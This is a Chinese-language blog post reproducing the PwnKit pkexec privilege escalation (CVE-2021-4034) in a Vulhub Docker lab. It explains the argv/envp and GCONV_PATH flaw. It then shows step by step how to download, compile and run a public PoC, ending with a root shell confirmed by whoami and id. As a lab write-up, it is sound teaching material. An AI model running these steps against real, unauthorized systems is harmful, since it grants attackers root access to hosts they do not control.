当前位置: 首页 > news >正文

PwnKit提权漏洞复现:原理分析+环境搭建+渗透实践(CVE-2021-4034)

目录

一、PwnKit提权漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、ssh登录ubuntu账户

2、查看用户

3、下载编译PoC脚本

(1)下载PoC文件

(2)解压PoC文件

(3)编译PoC文件

4、运行PoC提权


PwnKit提权漏洞(CVE-2021-4034)是Polkit组件pkexec工具中的高危本地权限提升漏洞,影响多数Linux发行版。文章详细介绍了漏洞原理:pkexec处理环境变量时存在缺陷,可被利用执行任意代码获取root权限。通过Vulhub搭建漏洞环境,使用SSH登录普通用户后,下载并编译PoC脚本,最终成功实现权限提升至root。整个渗透过程包括环境准备、漏洞复现和提权验证,展示了该漏洞的稳定利用性。

一、PwnKit提权漏洞

1、漏洞简介

CVE-2021-4034 是一个存在于 Polkit 组件的 pkexec 工具中的本地权限提升漏洞,也被称为 PwnKit。

  • CVE编号:CVE-2021-4034

  • 通俗名称:PwnKit

  • 影响组件:Polkit 的 pkexec 工具

  • 漏洞类型:本地权限提升 (Local Privilege Escalation)

  • 危害等级高危 (High)

  • 影响版本:主要影响 pkexec 版本为 0.105 之前的系统,包括 Ubuntu、CentOS、Debian 等众多 Linux 发行版。

  • 漏洞成因pkexec 未能正确处理参数和环境变量的交互,导致可以劫持其执行流,加载并执行任意恶意库,从而以 root 权限执行任意代码。

  • 特点默认存在稳定利用影响范围极广。几乎所有主流 Linux 发行版都受影响。

2、漏洞原理

pkexec 是一个 SUID 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令。该漏洞源于 pkexec 在处理参数时逻辑错误,当使用 execve 调用程序并给 argv 传值 NULL 时,argc 会为 0,此时 pkexec 会读取 argv (1) 变量,由于 argv 与 envp 在内存布局上是连续的,实际上会读取到第一个环境变量。若该环境变量不是绝对路径,pkexec 会在环境变量中查找 PATH 变量将其转换为实际路径,若 PATH 环境变量包含攻击者可控的路径,就会导致 pkexec 将攻击者可控的路径下的内容当作命令执行。此外,pkexec 在程序运行过程中会调用 g_printerr 函数,该函数会按需载入 GCONV_PATH 环境变量指向的路径下的 gconv - modules 文件中写明的外部动态链接库,并运行其中的初始化函数 gconv_init。攻击者可以通过构造恶意的环境变量,诱导 pkexec 加载并执行恶意的共享库,从而实现任意代码执行,达到本地权限提升的目的。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现PwnKit提权漏洞(CVE-2021-4034),由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd vulhub/polkit/CVE-2021-4034

4、启动漏洞环境

在CVE-2021-4034目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含cve-2021-4034漏洞的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示Vulhub 项目提供的polkit:0.105容器已正常运行 ,这个就是CVE-2021-4034 漏洞环境,可通过宿主机的 2222 端口访问容器。

└─# docker ps              
doCONTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                             NAMES
44768a733e46   vulhub/polkit:0.105   "/bin/sh -c 'qemu-sy…"   33 seconds ago   Up 31 seconds   0.0.0.0:2222->2222/tcp, :::2222->2222/tcp         cve-2021-4034_cmd_1

三、渗透实战

1、ssh登录ubuntu账户

使用用户名ubuntu/密码vulhub登录Docker漏洞环境的SSH(端口是2222),如下所示。

ssh ubuntu@192.168.59.128 -p2222

2、查看用户

使用whoami和id查看用户信息, 如下所示这是一个普通用户,非root用户。

3、下载编译PoC脚本

(1)下载PoC文件

下载CVE-2021-4034 (Linux 系统上的 Polkit 权限提升漏洞)的PoC文件,如下所示。

ubuntu@ubuntu:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
--2025-09-03 10:59:43--  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following]
--2025-09-03 10:59:44--  https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.205.243.165
Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: ‘main.tar.gz’main.tar.gz                                                    [ <=>                                                                                                                                     ]   4.08K  --.-KB/s    in 0.002s  2025-09-03 10:59:45 (2.21 MB/s) - ‘main.tar.gz’ saved [4176]

(2)解压PoC文件

上一步下载下来的PoC文件为main.tar.gz,使用tar解压PoC文件到当前文件夹,如下所示。

ubuntu@ubuntu:/tmp$ tar -zxvf main.tar.gz
CVE-2021-4034-main/
CVE-2021-4034-main/.gitignore
CVE-2021-4034-main/LICENSE
CVE-2021-4034-main/Makefile
CVE-2021-4034-main/README.md
CVE-2021-4034-main/cve-2021-4034.c
CVE-2021-4034-main/cve-2021-4034.sh
CVE-2021-4034-main/dry-run/
CVE-2021-4034-main/dry-run/Makefile
CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
CVE-2021-4034-main/pwnkit.c

(3)编译PoC文件

进入到PoC文件夹所在的目录,编译PoC程序,如下所示。

ubuntu@ubuntu:/tmp$ cd CVE-2021-4034-main/
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

4、运行PoC提权

运行提权PoC文件cve-2021-4034,如下所示,执行whoami和id时,提示用户已经变为root,说明提权渗透成功。

ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ ./cve-2021-4034
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)

http://www.dtcms.com/a/470869.html

相关文章:

  • 李宏毅机器学习笔记19
  • 腾讯建设网站视频下载深圳坪山天气
  • 群晖wordpress主机兰州seo新站优化招商
  • Go语言实现HTML转PDF
  • 深入解析Java NIO:从BIO到Reactor模式的网络编程演进
  • 公司怎么做网站推广北京西站停车场收费标准
  • 企业网站系统手机版住房与城乡建设部建设环境工程技术中心网站
  • 非法期货做网站安康信息平台
  • MySQL安装包下载成功,如何跨版本备份迁移无忧?
  • ASM架构基础与核心概念
  • 每天五分钟深度学习:正则化技术解决过拟合(高方差)问题
  • 局域网建设个人网站美食网站设计论文
  • 使用 systemd 管理 MySQL 服务
  • 做网站客户最关心哪些问题下载百度电商平台app
  • 消防电器具工程量-图形识别快速计算
  • 印度股票市场数据接口,支持实时行情、IPO新股、公司信息、技术分析等多种功能
  • 顺德 网站开发 招聘工程平台网
  • 网站建设开发网站案例项目费用插画原画十大培训机构
  • 排查素材下载过慢或失败问题
  • 小网站托管费用大连网站建设 仟亿
  • 基于单片机的窗帘、灯光、空调智能家居控制系统设计
  • Docker存储体系深度解析
  • 如何基于OneAPI构建langchain RAG系统
  • 网站建设说明书模板wordpress菜单结构
  • 如何应对紧急投标?AI工具1小时完成400页标书
  • 百度网盘PC电脑端提速方法
  • 【触想智能】什么是工业平板电脑以及工业平板电脑对制造业具有什么意义
  • 郑州 网站建设p9制作公司
  • 深度解析 “应用程序无法正常启动 0xc000007b”:原因、解决方案与预防措施
  • 南宁智慧园区网站建设wordpress如何更改页面链接